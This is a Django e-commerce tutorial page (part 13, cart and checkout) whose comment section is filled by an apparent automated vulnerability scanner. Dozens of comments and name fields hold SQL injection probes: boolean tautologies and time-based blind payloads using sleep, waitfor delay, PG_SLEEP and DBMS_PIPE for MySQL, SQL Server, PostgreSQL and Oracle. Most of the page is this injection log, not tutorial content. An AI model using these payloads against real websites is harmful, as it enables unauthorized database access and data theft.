Cart - 2 - Django Ecommerce Website - Htmx and Tailwind

In this part of the e-commerce website tutorial series, we are going to continue implementing the cart functionality.

Part 13 - Todolist
-Show correct products in the cart
-Show total price in the cart
-Show total price in the checkout
-Only allow checkout for authenticated users
-Show user information in the checkout
-Change checkout link in the cart

Github: https://github.com/SteinOveHelset/nordichomes/releases/tag/part-13

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+850-850-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+506-506-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+104-104-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+74-74-1=0+0+0+1 or 'V0UKItkC'='

EFSArCBy | Jul 02, 26 11:37

-1" OR 2+428-428-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:37

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:37

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:37

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:37

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555XFcUfSEU'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1) OR 689=(SELECT 689 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555YZYP6Ngt' OR 606=(SELECT 606 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

5557acEZf2f') OR 162=(SELECT 162 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555RXYBhNDz')) OR 180=(SELECT 180 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:37

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555'"

EFSArCBy | Jul 02, 26 11:37

@@cIrEC

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

-1 OR 2+922-922-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1 OR 2+554-554-1=0+0+0+1 | Jul 02, 26 11:38

555

-1' OR 2+249-249-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1' OR 2+759-759-1=0+0+0+1 or 'EaeW15n3'=' | Jul 02, 26 11:38

555

-1" OR 2+179-179-1=0+0+0+1 -- | Jul 02, 26 11:38

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:38

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:38

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:38

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCBygUpI4oLJ'; waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCByzrPkpNTq' OR 539=(SELECT 539 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCByKv0jAXCk') OR 536=(SELECT 536 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCByJ5qol2zu')) OR 448=(SELECT 448 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy'" | Jul 02, 26 11:38

555

@@ogrug | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.